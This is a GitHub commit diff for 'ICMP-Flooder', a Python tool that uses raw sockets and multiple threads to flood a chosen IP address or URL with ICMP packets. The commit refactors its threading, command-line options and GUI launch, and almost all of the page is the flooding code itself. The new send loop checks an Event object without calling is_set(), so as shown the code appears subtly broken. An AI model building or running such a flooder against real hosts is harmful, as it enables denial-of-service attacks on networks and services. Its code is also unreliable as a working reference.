Skip to content

Commit c5e7b8d

Browse files
authored
Fix/fix threading bugs (#13)
* Remove useless requirements * Done code refactoring + added additional exceptions caught + change parent class to Thread. * Updated FlooderRunner class after all changes into Flooder. * Updated icmpflood.py file after all changes. * Fixed troubles into gui module * Fixed marks by flake8 * Fixed all marks by pylint
1 parent d2162a5 commit c5e7b8d

8 files changed

+330
-262
lines changed

icmpflood.py

100644100755
+35-29
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,9 @@
11
from argparse import ArgumentParser, Namespace
2-
from logging import info
2+
from logging import info, error
3+
from socket import gethostbyname
34
from sys import argv, exit
45

5-
from PyQt5.QtWidgets import QApplication
6-
7-
from icmpflood.gui.main_window import MainWindow
8-
from icmpflood.flooder_runner import FlooderConsoleRunner
6+
from icmpflood.flooder_runner import FlooderRunner
97

108

119
def log_print():
@@ -19,28 +17,34 @@ def log_print():
1917

2018

2119
def launch_gui():
22-
app = QApplication(argv)
23-
window = MainWindow()
24-
window.show()
25-
exit(app.exec_())
20+
try:
21+
from PyQt5.QtWidgets import QApplication
22+
from icmpflood.gui.main_window import MainWindow
23+
24+
app = QApplication(argv)
25+
window = MainWindow()
26+
window.show()
27+
exit(app.exec_())
28+
29+
except ImportError as err:
30+
error(msg=f'Failed while importing PyQt5 libraries: {err}')
31+
error(msg=f'{argument_parser.usage}')
2632

2733

2834
def launch_cmd(cmd_options: Namespace):
29-
FlooderConsoleRunner(
35+
ip_address = gethostbyname(cmd_options.u) if cmd_options.u else cmd_options.i
36+
FlooderRunner(
3037
threads_number=cmd_options.t,
3138
arguments={
32-
'ip': cmd_options.i,
39+
'address': ip_address,
3340
'port': cmd_options.p,
34-
'length': cmd_options.l,
35-
'frequency': cmd_options.f
41+
'delay': cmd_options.d,
42+
'length': cmd_options.l
3643
}
37-
).run()
38-
44+
).launch_flooder()
3945

40-
if __name__ == "__main__":
41-
log_print()
4246

43-
argumentParser = ArgumentParser(
47+
argument_parser = ArgumentParser(
4448
prog='ICMP-Flooder',
4549
usage='''python3 icmpflood.py { gui | cmd [options] }
4650
There are two modes to use this simple application:
@@ -59,20 +63,22 @@ def launch_cmd(cmd_options: Namespace):
5963
allow_abbrev=True
6064
)
6165

62-
subArgumentParser = argumentParser.add_subparsers(title='Script Modes', dest='mode', required=True)
66+
sub_arg_parser = argument_parser.add_subparsers(title='Script Modes', dest='mode', required=True)
67+
sub_arg_parser.add_parser('gui', help='Allows to run application with GUI interface.')
68+
cmd_args = sub_arg_parser.add_parser('cmd', help='Run application into terminal (print -h for more details).')
6369

64-
subArgumentParser.add_parser('gui', help='Allows to run application with GUI interface.')
65-
cmd = subArgumentParser.add_parser('cmd', help='Run application into terminal (print -h for more details).')
70+
cmd_args.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str)
71+
cmd_args.add_argument('-i', metavar='--ip', help='Target ip-address', required=False, type=str)
72+
cmd_args.add_argument('-p', metavar='--port', help='Target port number (for ip-address)',
73+
required=False, choices=range(0, 65536), default=80, type=int)
6674

67-
cmd.add_argument('-u', metavar='--url', help='Target url-address', required=False, type=str)
68-
cmd.add_argument('-i', metavar='--ip', help='Target ip-address', required=True, type=str)
69-
cmd.add_argument('-p', metavar='--port', help='Target address port number (for ip-address)',
70-
required=False, choices=range(0, 65536), default=80, type=int)
75+
cmd_args.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int)
76+
cmd_args.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int)
77+
cmd_args.add_argument('-d', metavar='--delay', help='Packet sending delay', required=False, default=0.1, type=float)
7178

72-
cmd.add_argument('-t', metavar='--threads', help='Threads amount', required=False, default=1, type=int)
73-
cmd.add_argument('-l', metavar='--length', help='Packet frame length', required=False, default=60, type=int)
74-
cmd.add_argument('-f', metavar='--frequents', help='Frequents of sending', required=False, default=0.1, type=float)
7579

76-
arguments = argumentParser.parse_args()
80+
if __name__ == "__main__":
81+
log_print()
7782

83+
arguments = argument_parser.parse_args()
7884
launch_gui() if arguments.mode == "gui" else launch_cmd(arguments)

icmpflood/flooder.py

100644100755
+32-33
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,8 @@
1-
from logging import warning, exception
1+
from logging import error, warning
22
from struct import pack, error as PackException
3+
from threading import Event, Thread, ThreadError
34
from time import time, sleep
5+
from typing import Any, Dict
46

57
from socket import (
68
socket,
@@ -11,41 +13,34 @@
1113
IPPROTO_ICMP
1214
)
1315

14-
from PyQt5 import QtCore
15-
from PyQt5.QtCore import QThread
1616

17-
18-
class Flooder(QThread):
17+
class Flooder(Thread):
1918
"""
2019
This class extends PyQt5.QtCore.QThread class which provides ability to launch
2120
run( method ) into own thread. This class build ICMP packet (header + body)
2221
and send to specified address:port.
2322
"""
2423

25-
address: str
26-
"""The target ip-address to send ICMP-packets."""
27-
28-
port_number: int
29-
"""The target port number to send ICMP-packets."""
30-
31-
packet_length: int
32-
"""The length of ICMP-packet body to send."""
24+
def __init__(self, name: str, arguments: Dict[str, Any]):
25+
"""
26+
The main Flooder constructor.
3327
34-
sending_frequency: float
35-
"""The frequency of ICMP-packet sending which provides to set timeout."""
28+
Args:
29+
name (str): The current thread name.
30+
arguments (Dict[str, Any]): The dict with target info.
3631
37-
finish_signal = QtCore.pyqtSignal()
32+
"""
33+
Thread.__init__(self, None)
3834

39-
def __init__(self, address: str, port_number: int, packet_length: int, sending_frequency: float):
40-
QThread.__init__(self, None)
35+
self.address = arguments.get('address')
36+
self.port_number = arguments.get('port')
37+
self.packet_length = arguments.get('length')
38+
self.sending_delay = arguments.get('delay')
4139

42-
self.address = address
43-
self.port_number = port_number
44-
self.packet_length = packet_length
45-
self.sending_frequency = sending_frequency
40+
self.name = name
41+
self.shutdown_flag = Event()
4642

47-
@staticmethod
48-
def _checksum(message) -> int:
43+
def _checksum(self, message) -> int:
4944
"""
5045
This method returns the summary byte length of built ICMP-packet.
5146
@@ -89,22 +84,26 @@ def run(self):
8984
to stop all threads whose sending packets.
9085
9186
"""
87+
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
9288

9389
try:
94-
sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)
9590
inet_aton(self.address)
96-
97-
while True:
91+
while not self.shutdown_flag:
9892
packet = self._construct_packet()
9993
sock.sendto(packet, (self.address, self.port_number))
100-
sleep(self.sending_frequency)
101-
sock.close()
94+
sleep(self.sending_delay)
10295

10396
except PackException as err:
104-
exception(msg=f'Failed while trying pack msg: {err}')
97+
error(msg=f'Failed while trying pack msg: {err}')
98+
warning(msg=f'The {self.name} thread has not been interrupted!')
99+
100+
except ThreadError as err:
101+
error(msg=f'Has been interrupted closing event. Closing all available threads: {err}')
102+
warning(msg=f'The {self.name} thread has been stopped!')
105103

106-
except (KeyboardInterrupt, SystemExit) as err:
107-
warning(msg=f'Has been interrupted closing event. Closing all available threads: {err}')
104+
except Exception as err:
105+
error(msg=f'Unknown runtime error into {self.name} thread!: {err}')
108106

109107
finally:
110-
self.finish_signal.emit()
108+
self.shutdown_flag.set()
109+
sock.close()

icmpflood/flooder_runner.py

+49-34
Original file line numberDiff line numberDiff line change
@@ -1,56 +1,71 @@
1-
from typing import Dict, Any
2-
from threading import Thread, Event
1+
from datetime import datetime
2+
from logging import error, warning
3+
from typing import Any, Dict, List
34

45
from icmpflood.flooder import Flooder
56

67

7-
class FlooderConsoleRunner(Thread):
8+
class FlooderRunner:
89
"""
910
This class extends threading.Thread class which provides ability to run
1011
any class with another thread. This class runs flooding with another threads.
1112
"""
1213

13-
threads_number: int
14-
"""The amount of threads to flood."""
15-
16-
arguments: Dict[str, Any]
17-
"""The arguments which user has been entered to flood."""
14+
JOIN_TIMEOUT = 5
1815

1916
def __init__(self, threads_number: int, arguments: Dict[str, Any]):
20-
Thread.__init__(self)
17+
"""
18+
The FlooderRunner class constructor.
19+
20+
Args:
21+
threads_number (int): The amount of target threads.
22+
arguments (Dict[str, Any]): The dict of arguments for Flooder class.
23+
24+
"""
2125

22-
self.args = arguments
26+
self.arguments = arguments
2327
self.threads_num = threads_number
2428

25-
self.all_threads = list()
26-
self.flooder = Flooder(
27-
address=self.args.get('ip'),
28-
port_number=self.args.get('port'),
29-
packet_length=self.args.get('length'),
30-
sending_frequency=self.args.get('frequency')
31-
)
29+
self._threads: List[Flooder] = []
3230

33-
def run(self):
31+
def _interrupt_threads(self):
3432
"""
35-
This method runs with another thread to create ICMP-packet and send it
36-
to specified target ip-address.
33+
This method interrupts all running threads.
3734
"""
35+
for thread in self._threads:
36+
thread.shutdown_flag.set()
37+
thread.join(FlooderRunner.JOIN_TIMEOUT)
3838

39-
interrupt_event = Event()
39+
self._threads.clear()
4040

41+
def _launch_threads(self):
42+
"""
43+
This method initializing multiple threads by passed threads number option.
44+
"""
4145
for thread_iter in range(0, self.threads_num):
46+
thread = Flooder(name=f'thread-{thread_iter}', arguments=self.arguments)
47+
self._threads.append(thread)
48+
thread.start()
49+
50+
def launch_flooder(self):
51+
"""
52+
There is main method which runs with another thread to create ICMP-packet and send it
53+
to specified target ip-address.
54+
"""
4255

43-
thread = Thread(
44-
daemon=True,
45-
target=self.flooder.run,
46-
name=f'flooding-cmd-thread-{thread_iter}',
47-
args=(
48-
self.args.get('ip'),
49-
self.args.get('port'),
50-
self.args.get('length'),
51-
self.args.get('frequency'),
52-
)
53-
)
56+
try:
57+
start_time = datetime.now()
58+
self._launch_threads()
59+
while True:
60+
curr_time = datetime.now() - start_time
61+
print('Packets sending duration: {}'.format(curr_time), end='\r')
5462

55-
thread.start()
56-
interrupt_event.wait()
63+
except KeyboardInterrupt:
64+
warning(msg='\nHas been triggered keyboard interruption!')
65+
warning(msg='Terminating all running threads...')
66+
67+
except Exception as err:
68+
error(msg=f'Has been caught unknown runtime error: {err}')
69+
70+
finally:
71+
self._interrupt_threads()

0 commit comments

Comments
 (0)